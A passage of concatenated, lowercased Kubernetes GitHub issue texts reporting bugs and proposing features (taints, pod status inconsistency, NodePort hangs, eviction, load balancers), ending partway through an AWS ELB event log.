/etc/os-release : coreos 1298.7.0\r -   kernel    e.g.  uname -a  : 4.9.16-coreos-r1\r \r   what happened  :\r start kubelet with --register-with-taints=\ dedicated=master:noschedule\ , can't see taint be configured.\r \r kubectl describe node\r taints:                 \\<none\\>\r \r   what you expected to happen  :\r taints should be configured.\r \r   anything else we need to know  :\r \r after add taint with 'kubectl taint node' command, i can see taints configured:\r \r kubectl describe node \r taints:                 dedicated=master:noschedule\r

extracted from https://github.com/kubernetes/kubernetes/pull/47811\r \r the current implementation of  allowhostpaths  in podsecuritypolicy is not friendly to future checks, like ensuring the path is readonly

flaky job: pr:pull-kubernetes-e2e-gce-bazel  flakes in the past week:   18    consistency:   96.20%         flakiest tests by flake count: | test | flake count | | --- | --- | | stage | 39 | | up | 38 | |  k8s.io  cluster level logging using gcl should check that logs from containers are ingested in gcl | 11 |   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | crassirostris |  k8s.io  cluster level logging using gcl should check that logs from containers are ingested in gcl | | sig/instrumentation |  k8s.io  cluster level logging using gcl should check that logs from containers are ingested in gcl |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

/ / /area platform/gcp\r  /status approved-for-milestone\r @kubernetes/sig-gcp-test-failures \r fyi @kubernetes/sig-testing-test-failures\r \r this job has been failing since 2017-10-25.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-alpha.3  https://github.com/kubernetes/sig-release/issues/27 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking soak-gce-gci\r \r /assign @krzyzacy @fejta \r iirc correct i brought this up during a sig-testing meeting and was told there's work in progress to redo how soak tests are done, can you fill in some details here?  it's unclear to me whether i should be poking at test case owners, or if our infra is still in flux here

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r \r as i saw so many todo like this:\r  https://github.com/kubernetes/kubernetes/blob/a7d788d91f60d676c3a88ab90bca0b3e90f70d53/pkg/registry/autoscaling/rest/storage_autoscaling.go l36-l47  https://github.com/kubernetes/kubernetes/blob/a7d788d91f60d676c3a88ab90bca0b3e90f70d53/pkg/registry/autoscaling/rest/storage_autoscaling.go l36-l47 \r \r i wonder why we want to refactor it, too redundancy? and i also hope to know the effect we want.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?:  \r \r   \r   what happened  :\r \r hi team!\r \r one of my worker nodes shows inconsistency in pod status. i'm using kubectl to do the query, some pods are shown in \ running\  status and a few minutes later in status \ imagepullbackoff\  or \ pending\ , also the ip can be \ 10.47.0.18\  in the first query and soon after it changes to   \ 10.44.0.25\    then a few seconds later, the ip is again   \ 10.47.0.18\   .\r \r for example:\r \r    \r kubectl get pods --all-namespaces -o wide\r \r namespace     name                                                            ready     status             restarts   age       ip               node\r kube-system   gogs-7cdb79f6d7-kps4c                                           1/1       running            0          11d       10.32.0.76       worker-04\r kube-system   mysql-5fb8bfb4f-jc7kr                                           1/1       running            0          11d       10.32.0.71       worker-04\r kube-system   fluentd-64vc8                                                   1/1       running            0          13d       10.45.0.3        worker-05\r kube-system   fluentd-8fjj9                                                   1/1       running            3          21d       10.44.0.25       worker-03\r    \r \r then, in the second query the answer is a bit different for the pod   fluentd-8fjj9  \r \r    \r kubectl get pods --all-namespaces -o wide\r \r namespace     name                                                            ready     status             restarts   age       ip               node\r kube-system   gogs-7cdb79f6d7-kps4c                                           1/1       running            0          11d       10.32.0.76       worker-04\r kube-system   mysql-5fb8bfb4f-jc7kr                                           1/1       running            0          11d       10.32.0.71       worker-04\r kube-system   fluentd-64vc8                                                   1/1       running            0          13d       10.45.0.3        worker-05\r kube-system   fluentd-8fjj9                                                   1/1       running            0          21d       10.47.0.18       worker-03\r    \r \r as you can see, the ip was   10.44.0.25   and now is   10.47.0.18  . also the restarts number has changed from   3   to   0  \r \r i continue to request the status for more than a minute and everything remains the same, then the values of the first example are shown again.\r \r    \r kubectl get pods --all-namespaces -o wide\r \r namespace     name                                                            ready     status             restarts   age       ip               node\r kube-system   gogs-7cdb79f6d7-kps4c                                           1/1       running            0          11d       10.32.0.76       worker-04\r kube-system   mysql-5fb8bfb4f-jc7kr                                           1/1       running            0          11d       10.32.0.71       worker-04\r kube-system   fluentd-64vc8                                                   1/1       running            0          13d       10.45.0.3        worker-05\r kube-system   fluentd-8fjj9                                                   1/1       running            3          21d       10.44.0.25       worker-03\r    \r \r it's as if there were two status for the same pod.\r \r looking in the logs, i can look the same message relationated to the pods with troubles:   pod status is inconsistent with cached status for pod \ fluentd-8fjj9_kube-system 1a814484-c64f-11e8-b5ee-0050568955b5 \ , a reconciliation should be triggered:  \r \r    \r oct 23 13:03:46 worker-03 hyperkube 27642 : i1023 13:03:46.901745   27642 status_manager.go:552  pod status is inconsistent with cached status for pod \ fluentd-8fjj9_kube-system 1a814484-c64f-11e8-b5ee-0050568955b5 \ , a reconciliation should be triggered:\r oct 23 13:03:46 worker-03 hyperkube 27642 : i1023 13:03:46.968730   27642 status_manager.go:479  status for pod \ fluentd-8fjj9_kube-system 1a814484-c64f-11e8-b5ee-0050568955b5 \  updated successfully:  9, {phase:running conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-02 10:26:17 -0400 ast reason: message:} {type:ready status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-23 12:53:32 -0400 ast reason: message:} {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2018-10-02 10:26:10 -0400 ast reason: message:}  message: reason: hostip:192.168.201.29 podip:10.44.0.25 starttime:2018-10-02 10:26:08 -0400 ast initcontainerstatuses: {name:volume-permission state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:0,signal:0,reason:completed,message:,startedat:2018-10-23 12:53:24 -0400 ast,finishedat:2018-10-23 12:53:24 -0400 ast,containerid:docker://8a14f8be5201f44ede7fab676a09d00201db768f2dbed111b9acdbd0393f9e20,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:true restartcount:0 image:localhost:30007/busybox:1.27.2 imageid:docker-pullable://localhost:30007/busybox@sha256:3571ca1b0e90e159de4fc07b3bf94ef189a0645314704f629204adb7035ecf45 containerid:docker://8a14f8be5201f44ede7fab676a09d00201db768f2dbed111b9acdbd0393f9e20} {name:volume-permission-journal-cursor state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:0,signal:0,reason:completed,message:,startedat:2018-10-23 12:53:27 -0400 ast,finishedat:2018-10-23 12:53:27 -0400 ast,containerid:docker://5a5470893e5c0b02d1b419e3cbdf5016c3e483cc2f57561f0fb64514e4dcce38,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:true restartcount:0 image:localhost:30007/busybox:1.27.2 imageid:docker-pullable://localhost:30007/busybox@sha256:3571ca1b0e90e159de4fc07b3bf94ef189a0645314704f629204adb7035ecf45 containerid:docker://5a5470893e5c0b02d1b419e3cbdf5016c3e483cc2f57561f0fb64514e4dcce38} {name:volume-permission-journal-data state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:0,signal:0,reason:completed,message:,startedat:2018-10-23 12:53:30 -0400 ast,finishedat:2018-10-23 12:53:30 -0400 ast,containerid:docker://546dfec9ed33f06d78d78b92576be021bf6f3e916a57047a1d991caf964e227b,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:true restartcount:0 image:localhost:30007/busybox:1.27.2 imageid:docker-pullable://localhost:30007/busybox@sha256:3571ca1b0e90e159de4fc07b3bf94ef189a0645314704f629204adb7035ecf45 containerid:docker://546dfec9ed33f06d78d78b92576be021bf6f3e916a57047a1d991caf964e227b}  containerstatuses: {name:fluentd state:{waiting:nil running:&containerstaterunning{startedat:2018-10-23 12:53:32 -0400 ast,} terminated:nil} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:true restartcount:0 image:localhost:30007/evertec/fluentd:v1.2.2-debian-onbuild imageid:docker-pullable://localhost:30007/evertec/fluentd@sha256:3606a2e5e21a3e4ff1aac9486aff3abb160c8c6e83cd8ba0999db206b90f3009 containerid:docker://7cf4855a81220d2aa6d5380ee8ca3b2d3de130bbfc10152a3b18ba9b218d9a46}  qosclass:guaranteed} \r    \r \r \r   what you expected to happen  :\r \r like the other two worker nodes, i need the status of the pods to be consistent since other pods have problems communicating with the pods of the worker-3 node even through a service.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubernetes hyperkube  1.9.2 + etcd 3.1.2 + docker 1.12.6  \r \r - create a cluster with one master and three worker nodes.\r - the cluster was upgraded from kubernetes 1.7 to 1.9, 5 months ago.\r \r   anything else we need to know?  :\r \r these nodes worked correctly for about a year. the worker-3 node started to fail a few weeks ago and i have not been able to identify the reason.\r \r i cleaned the node worker-3, compared the configuration of the kubernetes components and all are equal in the three nodes even the docker containers inside the node worker-2 are healthy.\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: on premises\r - os  e.g. from /etc/os-release :  red hat enterprise linux server release 7.5  maipo \r - kernel  e.g.  uname -a  :\r \r linux worker3 3.10.0-862.14.4.el7.x86_64  1 smp fri sep 21 09:07:21 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others: \r etcd 3.1.2\r weave 2.4.1\r

currently there is no way to run  kubelet  without any  azure  identity  be it service principal or e/msi . in reality  azure  code running on a worker node can use  azure  via - and only via -  imds  without the need to access arm. here is the proposed change\r \r 1. establish a new mode authn =  none  this mode, is basically telling the cloud provider to work  without  any identity, this means only imds calls is allowed. this mode can be detected from  azure.json  if no spn set and both msi settings are set to  false .\r 2. change  getvolumelimits    https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/azure_dd/azure_dd.go l141  to use a config map within the cluster. this config map can be loaded on the cluster statically. or created - if not existent - in  initialize    https://github.com/kubernetes/legacy-cloud-providers/blob/master/azure/azure.go l455 \r \r 3. ensure that  if authnmode mode == none  then only  imds  is used  in  nodeaddress    https://github.com/kubernetes/legacy-cloud-providers/blob/master/azure/azure_instances.go l38  \r \r \r the net new result of the above is users bootstrapping clusters can configure the worker node to use  azure  without any identity on said worker nodes.\r \r \r @feiskyer @kubernetes/sig-azure

when trying to run  kube-up.sh  with  kubernetes_provider=ubuntu  and  /tmp  mounted with the  noexec  option the process stops with the following message:  deploying master on machine 10.35.15.151 failed  nothing gets logged but after some investigating i found out that the ubuntu scripts try to execute scripts from  /tmp  and this is not allowed when  /tmp  is mounted with  noexec . would it be possible to add some kind of check to the ubuntu scripts that issues a warning when you try to use  kube-up.sh  with  /tmp  mounted  noexec ? thanks in advance.  jeremy

it should be possible to run simple commands inside of containers without having to implement spdy or websocket.  interactive commands require a stream on input, but many common tasks for containers require no input  exec probes, prestop, etc .    we should support a simple exec api that allows a client to post execoptions and get back a response.  the options might look like:      type execoptions struct {   command   string   containername string   stdin   byte // limited to < 10k bytes or something easily buffered   stdout bool // stdout is optional   stderr bool // stderr is optional }      this could be       post /api/v1/namespaces/ns/pods/pod/exec content-type: application/json {   \ kind\ : \ execoptions\ ,   ... }      which is allowed because normal exec is a connection upgrade.  clients that want to perform more complex operations must use ws / spdy.  this would enable naive clients to invoke exec in a much more usable manner.

issue\r i'm struggling to get grafana dashboard to show any data. \r \r   environment\r i have kubernetes cluster created on my own vm with kubeadm 1.5 and i installed heapster components  not created by default with kubeadm  based on config from https://github.com/kubernetes/heapster/tree/master/deploy/kube-config/influxdb  i had to fix the image names as per https://github.com/kubernetes/heapster/issues/1478 \r so right now i have\r    \r dashboard version: gcr.io/google_containers/kubernetes-dashboard-amd64:v1.5.0 \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r operating system: debian jessie\r heapster version: gcr.io/google_containers/heapster:v1.3.0-beta.0\r grafana version: gcr.io/google_containers/heapster-grafana-amd64:v4.0.2\r influxdb version: gcr.io/google_containers/heapster-influxdb-amd64:v1.1.1\r    \r       steps to reproduce\r entering grafana homepage, clicking through cluster  /dashboard/db/cluster  or pods  /dashboard/db/pods  dashboard, changing filtering options, etc.\r \r       observed result\r whatever i do i get \ no datapoints\ \r i verified that the requests are correctly issued to influxdb  its logs contain e.g.\r   2017-01-23t14:44:22.674597457z  httpd  10.32.3.157 - root  23/jan/2017:14:44:22 +0000  \ get /query?db=k8s&epoch=ms&q=select+sum%28%22value%22%29+from+%22memory%2fusage%22+where+%22type%22+%3d+%27node%27+and+time+%3e+now%28%29+-+30m+group+by+time%282s%29+fill%28null%29%3bselect+sum%28%22value%22%29+from+%22memory%2fworking_set%22+where+%22type%22+%3d+%27node%27+and+time+%3e+now%28%29+-+30m+group+by+time%282s%29+fill%28null%29%3bselect+sum%28%22value%22%29+from+%22memory%2flimit%22+where+%22type%22+%3d+%27node%27+and+time+%3e+now%28%29+-+30m+group+by+time%282s%29+fill%28null%29%3bselect+sum%28%22value%22%29+from+%22memory%2frequest%22+where+%22type%22+%3d+%27node%27+and+time+%3e+now%28%29+-+30m+group+by+time%282s%29+fill%28null%29 http/1.1\  200 49 \ http://bigdata2:30081/dashboard/db/cluster\   \r \r i can also see that heapster can connect to influxdb, since there are log entries like:\r   2017-01-23t14:58:05.057698055z  httpd  10.32.3.153 - root  23/jan/2017:14:58:05 +0000  \ post /write?consistency=&db=k8s&precision=&rp=default http/1.1\  500 72 \ -\  \ heapster/v1.3.0-beta.0\  58082bd2-e17c-11e6-8262-000000000000 6618 \r 2017-01-23t14:58:05.057788774z  httpd  10.32.3.153 - root  23/jan/2017:14:58:05 +0000  \ get /ping http/1.1\  204 0 \ -\  \ heapster/v1.3.0-beta.0\  58094b31-e17c-11e6-8263-000000000000 14  \r \r moreover, kubernetes dashboard itself shows correct data from heapster  each pod has cpu / memory usage level, at the top there is also graph with resource usage for all pods, etc. .\r \r       expected result\r grafana dashboard should be able to display data like cpu, memory, etc. historical usage.\r \r       comments\r at this point i don't see any errors in either heapster, grafana or influxdb components, they query each other fine, there is simply no data even though heapster seems to be also correctly collecting data from apiserver  gets displayed on dashboard . i also checked manually issuing query to influxdb and it indeed returns empty set {} for all queries.\r

the godep json updater should take an arg for skipping dependencies here: https://github.com/kubernetes/kubernetes/blob/master/staging/godeps-json-updater.go l70-l82\r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?   no\r \r \r   what keywords did you search in kubernetes issues before filing this one?   static-pod, etcd, remove, delete\r \r ---\r \r   is this a bug report or feature request?   bug report\r \r   kubernetes version   : v1.5.1\r \r \r   environment  :\r two independent clusters, same configuration and hardware. only difference, cluster a uses a single node etcd cluster deployed in the master. cluster b uses an external multinode etcd cluster. \r -   cloud provider or hardware configuration  : \r -   os    e.g. from /etc/os-release :  centos 7.2\r -   kernel    e.g.  uname -a  : 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : puppet\r -   others  : etcd3\r \r \r   what happened  : in cluster b  external multinode  when moving the manifest of a static pod out of the folder where kubelet watches, the static pod keeps running. if you delete it with kubectl, it is recreated. if you look in etcd the pod is not removed. only way to make the static pod stop: \r - move the manifest file out of the static pods folder\r - remove the entry of the pod from etcd\r - kill the docker container with docker stop/docker rm.  \r \r in cluster a  etcd in the master : moving the manifest out of the static pods folder will stop the pod.\r \r   what you expected to happen  : moving the manifest out of the static pods folder will stop the pod.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r in my case, having an external etcd, and moving the static pod manifest out of the static pod folders will reproduce the issue. both cluster are created by using a custom script based in the guide kubernetes from scratch.\r \r

initial report in https://github.com/kubernetes/kubeadm/issues/212.\r \r i suspect that this was introduced in https://github.com/kubernetes/kubernetes/pull/43474.\r \r what is going on  all on single master :\r 1. kubeadm starts configures a kubelet and uses static pods to configure a control plane\r 1. kubeadm creates node object and waits for kubelet to join and be ready\r 1. kubelet is never ready and so kubeadm waits forever\r \r in the conditions list for the node:\r    \r   ready \t\tfalse \twed, 29 mar 2017 15:54:04 +0000 \twed, 29 mar 2017 15:32:33 +0000 \tkubeletnotready \t\truntime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\r    \r \r previous behavior was for the kubelet to join the cluster even with unconfigured cni.  the user will then typically run a daemonset with host networking to bootstrap cni on all nodes.  the fact that the node never joins means that, fundamentally, daemonsets cannot be used to bootstrap cni.\r \r     edit by @mikedanese: please test patched debian amd64 kubeadm https://github.com/kubernetes/kubernetes/issues/43815 issuecomment-290616036 with fix

it is easier to mess up the selectors on a service, than it is to diagnose that it has gone wrong.\r \r if  kubectl describe service  showed the pod names for endpoints  not just the pod ips , i think it would be as easy to diagnose as it is mess up :- \r \r could probably add this, but wanted to see if there was any objection / reason why not etc before doing so.  cc @kubernetes/sig-cli-feature-requests

bug report  :\r   \r aws-kops is  consistently  https://prow.k8s.io/?type=batch  failing to delete pvs and bind pvcs to new pvs as seen  here  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/batch/pull-kubernetes-e2e-kops-aws/38636/ . we haven't been able to get a batch through for most of the day.

\r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r i have a nodeport service and a pod setup in this aws cluster:\r    \r > kubectl describe svc my-nodeport-service\r name:                   my-node-port-service\r namespace:              default\r labels:                 <none>\r selector:               service=my-selector\r type:                   nodeport\r ip:                     100.71.211.249\r port:                   <unset> 80/tcp\r nodeport:               <unset> 30176/tcp\r endpoints:              100.96.2.11:3000\r session affinity:       none\r events:                 <none>\r \r > kubectl describe pods my-nodeport-pod\r name:           my-nodeport-pod\r node:           <ip>.eu-west-1.compute.internal/<ip>\r labels:         service=my-selector\r status:         running\r ip:             100.96.2.11\r containers:\r   update-center:\r     port:               3000/tcp\r     ready:              true\r     restart count:      0\r    \r \r on curl to the available aws instance ip on the given node port the connection hangs\r \r   what you expected to happen  :\r \r i expect to be able to curl from the externally available aws instance ip on the given node port and get the correct response.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - setup default kops cluster on aws\r - setup pod and nodeport service\r - curl to the instance ip at the nodeport node\r \r   anything else we need to know?  :\r \r working locally on node\r    \r  ssh into node \r $ sudo netstat -nap | grep 30176\r tcp6       0      0 :::30176                :::                     listen      2093/kube-proxy\r $ curl 172.20.62.89:30176\r ok\r    \r \r ip tables on node\r    \r chain input  policy accept 3368 packets, 1645k bytes \r  pkts bytes target     prot opt in     out     source               destination\r 3842k 2078m kube-services  all  --  any    any     anywhere             anywhere             /  kubernetes service portals  /\r 3863k 2182m kube-firewall  all  --  any    any     anywhere             anywhere\r \r chain forward  policy accept 0 packets, 0 bytes \r  pkts bytes target     prot opt in     out     source               destination\r     0     0 docker-isolation  all  --  any    any     anywhere             anywhere\r     0     0 docker     all  --  any    docker0  anywhere             anywhere\r     0     0 accept     all  --  any    docker0  anywhere             anywhere             ctstate related,established\r     0     0 accept     all  --  docker0 !docker0  anywhere             anywhere\r     0     0 accept     all  --  docker0 docker0  anywhere             anywhere\r \r chain output  policy accept 3348 packets, 2306k bytes \r  pkts bytes target     prot opt in     out     source               destination\r 3858k 2772m kube-services  all  --  any    any     anywhere             anywhere             /  kubernetes service portals  /\r 3867k 2775m kube-firewall  all  --  any    any     anywhere             anywhere\r \r chain docker  1 references \r  pkts bytes target     prot opt in     out     source               destination\r \r chain docker-isolation  1 references \r  pkts bytes target     prot opt in     out     source               destination\r     0     0 return     all  --  any    any     anywhere             anywhere\r \r chain kube-firewall  2 references \r  pkts bytes target     prot opt in     out     source               destination\r     0     0 drop       all  --  any    any     anywhere             anywhere             /  kubernetes firewall for dropping marked packets  / mark match 0x8000/0x8000\r \r chain kube-services  2 references \r  pkts bytes target     prot opt in     out     source               destination\r     0     0 reject     tcp  --  any    any     anywhere             100.71.67.98         /  kube-system/draftd:http has no endpoints  / tcp dpt:http reject-with icmp-port-unreachable\r     0     0 reject     tcp  --  any    any     anywhere             100.67.124.227       /  postgres/db: has no endpoints  / tcp dpt:postgresql reject-with icmp-port-unreachable\r     0     0 reject     tcp  --  any    any     anywhere             100.64.243.75        /  kube-system/tiller-deploy:tiller has no endpoints  / tcp dpt:44134 reject-with icmp-port-unreachable\r    \r \r kops issue:\r https://github.com/kubernetes/kops/issues/3146\r \r alb controller issue:\r https://github.com/coreos/alb-ingress-controller/issues/169\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : linux ip-172-20-47-68 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 gnu/linux\r - install tools: kops 1.7.0\r - others:\r

hard eviction strategry\r \r when i start the kubelet service, i set hard eviction strategry like this:\r    \r --eviction-hard=memory.available<1gi,nodefs.available<2gi,imagefs.available<75gi\r    \r when the node imagefs size < 75gi, i think it will evict pods in the node.  in the node, there are two pods, one pod is running, the other is exited. the containers in the two pods like this:\r \r    \r container id        image                                                        command                 created             status                        ports                     names\r 6a6ba6c8e16f        328edcd84f1b                                                 \ /bin/bash /start.sh\    20 minutes ago      exited  127  20 minutes ago                             k8s_centos_demo33_default_b5695222-865f-11e7-9df9-1c98ec1a80c0_3\r 6084673cbff9        registry.access.redhat.com/rhel7/pod-infrastructure:latest   \ /pod\                   20 minutes ago      exited  0  20 minutes ago                               k8s_pod_demo33_default_b5695222-865f-11e7-9df9-1c98ec1a80c0_0\r 9fe19d994b3d        ed2df2d4c33d                                                 \ /bin/bash /start.sh\    23 minutes ago      up 23 minutes                                           k8s_centos_demo2_default_40a26de5-865f-11e7-9df9-1c98ec1a80c0_0\r 8955fe44aa9b        registry.access.redhat.com/rhel7/pod-infrastructure:latest   \ /pod\                   23 minutes ago      up 23 minutes                 0.0.0.0:65535->8080/tcp   k8s_pod_demo2_default_40a26de5-865f-11e7-9df9-1c98ec1a80c0_0\r    \r first, it will run the method   reclaimnodelevelresources   to recycle node resources. in this case, it will delete all unused images. but the log likes this:\r    \r i0821 19:23:00.347077   10447 image_gc_manager.go:326  image id sha256:ed2df2d4c33d08c6f3ba3f1d2071f071a4680469a476684b615443e3f86a4343 has lastused=2017-08-21 19:23:00.342939215 +0800 cst which is >= freetime=2017-08-21 19:23:00.336792498 +0800 cst, not eligible for garbage collection\r w0821 19:23:00.347111   10447 eviction_manager.go:392  eviction manager: unexpected error when attempting to reduce imagefs pressure: wanted to free 9223372036854775807, but freed 0 space with errors in image deletion: rpc error: code = 2 desc = error response from daemon: {\ message\ :\ conflict: unable to delete f66f4bd9b894  cannot be forced  - image is being used by running container 8955fe44aa9b\ }\r    \r images is being used by the containers  exited or running , so it can not remove images. if it is exited containers that is being used the image, it is necessary to remove exited container first , then remove the image following. \r \r after that, it will evict pod to other nodes. but my case does run this step. it always fail on first step. and there is an error like this:\r    \r e0821 19:23:00.347272   10447 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /data0/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /data0/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /data0/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r    \r >> how does kubernetes work when the hard eviction happens? \r \r the other question about containergc and imagegc ：\r >> when containergc and imagegc happen ? \r >>  hard eviction process include imagegc and containergc ？ \r \r thanks for you help！！！

i  create a service on k8s cluster that install on gce apiversion: v1\r kind: service\r metadata:\r   name: frontend\r   labels:\r     app: guestbook\r     tier: frontend\r spec:\r     if your cluster supports it, uncomment the following to automatically create\r     an external load-balanced ip for the frontend service.\r   type: loadbalancer\r   ports:\r       the port that this service should serve on\r   - port: 80\r   selector:\r     app: guestbook\r but   external-ip is all pending .\r name       cluster-ip      external-ip   port s         age\r frontend   10.233.38.145   <pending>     80:30007/tcp   1h\r \r   environment  :\r - kubernetes version ：kubernetes v1.7.5+coreos.0\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release :centos7\r - kernel  e.g.  uname -a  : linux node1 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:  ansible\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r  \r   what happened  :\r \r today i had a major outage where all worker instances were de-registered from all service elbs. i found these events when running  kubectl describe svc :\r \r    \r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                          message\r   ---------     --------        -----   ----                    -------------   --------        ------                          -------\r   14m           14m             1       service-controller                      warning         loadbalancerupdatefailed        error updating load balancer with new hosts  ip-172-31-52-243.sa-east-1.compute.internal ip-172-31-53-80.sa-ea\r st-1.compute.internal ip-172-31-53-217.sa-east-1.compute.internal ip-172-31-52-218.sa-east-1.compute.internal ip-172-31-53-45.sa-east-1.compute.internal ip-172-31-53-69.sa-east-1.compute.internal ip-172-31-53-232.sa-east-1.compute.interna\r l ip-172-31-52-156.sa-east-1.compute.internal ip-172-31-53-142.sa-east-1.compute.internal ip-172-31-52-189.sa-east-1.compute.internal ip-172-31-52-58.sa-east-1.compute.internal ip-172-31-52-225.sa-east-1.compute.internal ip-172-31-53-86.s\r a-east-1.compute.internal ip-172-31-53-173.sa-east-1.compute.internal ip-172-31-52-32.sa-east-1.compute.internal ip-172-31-53-238.sa-east-1.compute.internal ip-172-31-52-104.sa-east-1.compute.internal ip-172-31-53-49.sa-east-1.compute.int\r ernal ip-172-31-52-79.sa-east-1.compute.internal ip-172-31-52-47.sa-east-1.compute.internal ip-172-31-53-177.sa-east-1.compute.internal ip-172-31-53-96.sa-east-1.compute.internal ip-172-31-53-196.sa-east-1.compute.internal ip-172-31-53-21\r 6.sa-east-1.compute.internal ip-172-31-53-174.sa-east-1.compute.internal ip-172-31-52-216.sa-east-1.compute.internal ip-172-31-52-232.sa-east-1.compute.internal ip-172-31-52-96.sa-east-1.compute.internal ip-172-31-52-28.sa-east-1.compute.\r internal ip-172-31-52-239.sa-east-1.compute.internal ip-172-31-52-250.sa-east-1.compute.internal ip-172-31-53-129.sa-east-1.compute.internal ip-172-31-53-149.sa-east-1.compute.internal ip-172-31-53-254.sa-east-1.compute.internal ip-172-31\r -52-94.sa-east-1.compute.internal ip-172-31-52-100.sa-east-1.compute.internal ip-172-31-53-37.sa-east-1.compute.internal ip-172-31-53-236.sa-east-1.compute.internal ip-172-31-52-12.sa-east-1.compute.internal ip-172-31-53-168.sa-east-1.com\r pute.internal ip-172-31-53-84.sa-east-1.compute.internal ip-172-31-52-160.sa-east-1.compute.internal : multiple tagged security groups found for instance i-0f406b55bdaf6b13a; ensure only the k8s security group is tagged\r   12m           12m             1       service-controller                      warning         loadbalancerupdatefailed        error updating load balancer with new hosts  ip-172-31-52-243.sa-east-1.compute.internal ip-172-31-53-80.sa-ea\r st-1.compute.internal ip-172-31-53-217.sa-east-1.compute.internal ip-172-31-52-218.sa-east-1.compute.internal ip-172-31-53-45.sa-east-1.compute.internal ip-172-31-53-69.sa-east-1.compute.internal ip-172-31-53-232.sa-east-1.compute.internal ip-172-31-52-156.sa-east-1.compute.internal ip-172-31-53-142.sa-east-1.compute.internal ip-172-31-52-189.sa-east-1.compute.internal ip-172-31-52-58.sa-east-1.compute.internal ip-172-31-52-225.sa-east-1.compute.internal ip-172-31-53-86.sa-east-1.compute.internal ip-172-31-53-173.sa-east-1.compute.internal ip-172-31-52-32.sa-east-1.compute.internal ip-172-31-53-238.sa-east-1.compute.internal 